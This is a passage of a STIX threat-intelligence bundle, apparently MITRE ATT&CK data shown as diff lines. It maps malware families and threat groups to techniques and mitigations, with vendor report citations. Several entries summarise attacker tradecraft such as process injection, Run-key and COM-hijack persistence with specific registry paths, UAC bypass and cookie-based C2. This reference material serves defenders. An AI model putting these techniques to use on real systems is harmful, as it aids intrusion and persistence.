"[OopsIE](https://attack.mitre.org/software/S0264) compresses collected files with both the GZipStream class and a simple character replacement scheme before sending them to its C2 server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b05da4f4-a47f-42d9-8464-58c6960a767a", + "external_references": [ + { + "source_name": "Unit 42 OopsIE! Feb 2018", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + } + ], + "modified": "2019-04-24T23:40:23.395Z", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Arp](https://attack.mitre.org/software/S0099) can be used to display ARP configuration information on the host.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d4fd461f-fc58-4060-aed4-cebe64f249b9", + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--30489451-5886-4c46-90c9-0dff9adc5252", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Misdat](https://attack.mitre.org/software/S0083) is capable of running commands to obtain a list of files and directories, as well as enumerating logical drives.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1a4c94a1-6362-42b3-b1d9-41ae3fbf5ea5", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) injects itself into the secure shell (SSH) process.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7fd4fe68-0f2a-485c-9b10-6847428ef5da", + "external_references": [ + { + "source_name": "Airbus Derusbi 2015", + "description": "Perigaud, F. (2015, December 15). Newcomers in the Derusbi family. Retrieved December 20, 2017.", + "url": "http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used JavaScript to create a shortcut file in the Startup folder that points to its main backdoor.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--728dce0a-125c-4d66-8622-36d4d909352b", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + }, + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2019-04-25T12:24:57.301Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "relationship_type": "uses", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Duqu](https://attack.mitre.org/software/S0038) is capable of loading executable code via process hollowing.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f64acb43-91b8-431a-ad0a-ad22afe5851a", + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "modified": "2019-04-24T23:18:53.184Z", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "relationship_type": "uses", + "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Malware used by [Putter Panda](https://attack.mitre.org/groups/G0024) attempts to terminate processes corresponding to two components of Sophos Anti-Virus (SAVAdminService.exe and SavService.exe).", + "type": "relationship", + "created": "2017-05-31T21:33:27.059Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--94211067-148f-4196-a216-c1bb1e5cfc70", + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "modified": "2019-03-25T16:53:38.785Z", + "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) developed a file stealer to search C:\\ and collect files with certain extensions. [Patchwork](https://attack.mitre.org/groups/G0040) also executed a script to enumerate all drives, store them as a list, and upload generated files to the C2 server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b0a0e3c7-e1b2-4b84-8e37-8989147785d0", + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2019-07-11T13:53:05.821Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T14:25:53.433Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.050Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0585e082-8f8e-4162-b4a8-3c1cef02f7e3", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Brave Prince](https://attack.mitre.org/software/S0252) gathers network configuration information as well as the ARP cache.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bfa47cf5-93e4-451e-a2eb-dadca6ae6bb0", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--28b97733-ef07-4414-aaa5-df50b2d30cc5", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[China Chopper](https://attack.mitre.org/software/S0020)'s server component can download remote files.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--30da0c3d-8767-4828-b50d-181d9a89b9a8", + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + }, + { + "source_name": "Lee 2013", + "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html" + }, + { + "source_name": "NCSC Joint Report Public Tools", + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf" + } + ], + "modified": "2019-04-24T16:39:53.963Z", + "source_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) is capable of performing remote file transmission.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--731710ae-a6b9-47b7-b8b2-8526ce60be2f", + "external_references": [ + { + "source_name": "Crowdstrike DNC June 2016", + "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", + "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + } + ], + "modified": "2019-05-14T17:10:21.903Z", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can load a DLL using Rundll32.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--107267dc-0620-42b3-8287-f49ce2ea4f8f", + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "modified": "2019-06-28T20:48:52.551Z", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:45:45.767Z", + "type": "relationship", + "id": "relationship--fb5e24e6-58f1-4ef0-9094-147319487f15", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--5391ece4-8866-415d-9b5e-8dc5944f612a", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) injects itself into explorer.exe.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--535e3fbe-e6d9-4608-9689-f8f1f8c1ddc9", + "external_references": [ + { + "source_name": "Symantec Dragonfly", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ChChes](https://attack.mitre.org/software/S0144) communicates to its C2 server over HTTP and embeds data within the Cookie HTTP header.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--03c9b56e-f006-43b2-ac98-bcbe0c05e979", + "external_references": [ + { + "source_name": "Palo Alto menuPass Feb 2017", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/" + }, + { + "source_name": "JPCERT ChChes Feb 2017", + "description": "Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved March 1, 2017.", + "url": "http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ComRAT](https://attack.mitre.org/software/S0126) samples have been seen which hijack COM objects for persistence by replacing the path to shell32.dll in registry location HKCU\\Software\\Classes\\CLSID\\{42aedc87-2188-41fd-b9a3-0c966feabec1}\\InprocServer32.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--64309b21-2dc2-4369-9c70-66f47f5c4b56", + "external_references": [ + { + "source_name": "NorthSec 2015 GData Uroburos Tools", + "description": "Rascagneres, P. (2015, May). Tools used by the Uroburos actors. Retrieved August 18, 2016.", + "url": "https://www.nsec.io/wp-content/uploads/2015/05/uroburos-actors-tools-1.1.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565", + "relationship_type": "uses", + "target_ref": "attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can download files and additional malware components.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5d914544-0a93-43ba-b890-1f4a4fa818e8", + "external_references": [ + { + "source_name": "Symantec Trojan.Hydraq Jan 2010", + "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", + "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident" + }, + { + "source_name": "Symantec Hydraq Jan 2010", + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used net user /domain to identify account information.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fa155ccc-b9db-48f6-bb1a-a367596668ad", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2019-03-22T19:57:37.266Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware samples use a common function to identify target files by their extension. [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families can also enumerate files and directories, including a Destover-like variant that lists files and gathers information for all drives.", + "type": "relationship", + "created": "2017-05-31T21:33:27.066Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bd745d11-93d8-45db-8a68-08a52383375a", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "modified": "2019-04-29T18:13:08.626Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-26T23:38:34.282Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ae11039c-6711-4860-a1b6-c7a8e0bcbbfb", + "external_references": [ + { + "source_name": "PTSecurity Cobalt Dec 2016", + "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf" + } + ], + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "relationship_type": "uses", + "target_ref": "tool--d8d19e33-94fd-4aa3-b94a-08ee801a2153" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:45:38.771Z", + "type": "relationship", + "id": "relationship--dce95526-cb24-4d3e-9b3b-de704e0730e4", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--56648de3-8947-4559-90c4-eda10acc0f5a", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:00:42.338Z", + "type": "relationship", + "id": "relationship--2a0b74b3-cbc3-45fa-aba4-eabdb0cb89b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.024Z", + "source_ref": "course-of-action--addb3703-5a59-4461-9bcd-7e2b5d4e92a0", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:18:18.322Z", + "type": "relationship", + "id": "relationship--fb1a7bbd-9dec-4038-9935-1647378f739f", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--1f34230d-b6ae-4dc7-8599-78c18820bd21", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN10](https://attack.mitre.org/groups/G0051) has used Meterpreter to enumerate users on remote systems.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3d602fec-cf94-4aa4-a4d9-cad286e6881f", + "external_references": [ + { + "source_name": "FireEye FIN10 June 2017", + "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf" + } + ], + "modified": "2019-04-25T12:09:56.274Z", + "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used RC4 encryption (for Datper malware) and AES (for xxmm malware) to obfuscate HTTP traffic.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a1684fef-eca9-418a-ab48-b9aad4101c6c", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2019-03-22T19:57:37.269Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[AutoIt backdoor](https://attack.mitre.org/software/S0129) attempts to escalate privileges by bypassing User Access Control.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5cd8b8a9-fd11-4405-8369-b12398b94def", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300", + "relationship_type": "uses", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DustySky](https://attack.mitre.org/software/S0062) achieves persistence by creating a Registry entry in HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9a7ff784-436b-40c5-bfb0-25e02e1d9940", + "external_references": [ + { + "source_name": "DustySky", + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T19:57:37.434Z", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fda1acb3-8e87-4fff-ae19-7e6a2ff9d6c3", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + }, + { + "source_name": "Symantec Tick Apr 2016", + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" + } + ], + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) uploads files and secondary payloads to the victim's machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a15e391d-cc21-484d-839a-b7057ae40179", + "external_references": [ + { + "source_name": "US-CERT Bankshot Dec 2017", + "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. 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Retrieved March 24, 2016.", + "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/" + } + ], + "modified": "2019-06-24T17:08:51.719Z", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:09:48.163Z", + "type": "relationship", + "id": "relationship--8104dfee-8883-4f7c-8f7d-84c9b409efc3", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--d01f473f-3cdc-4867-9e55-1de9cf1986f0", + 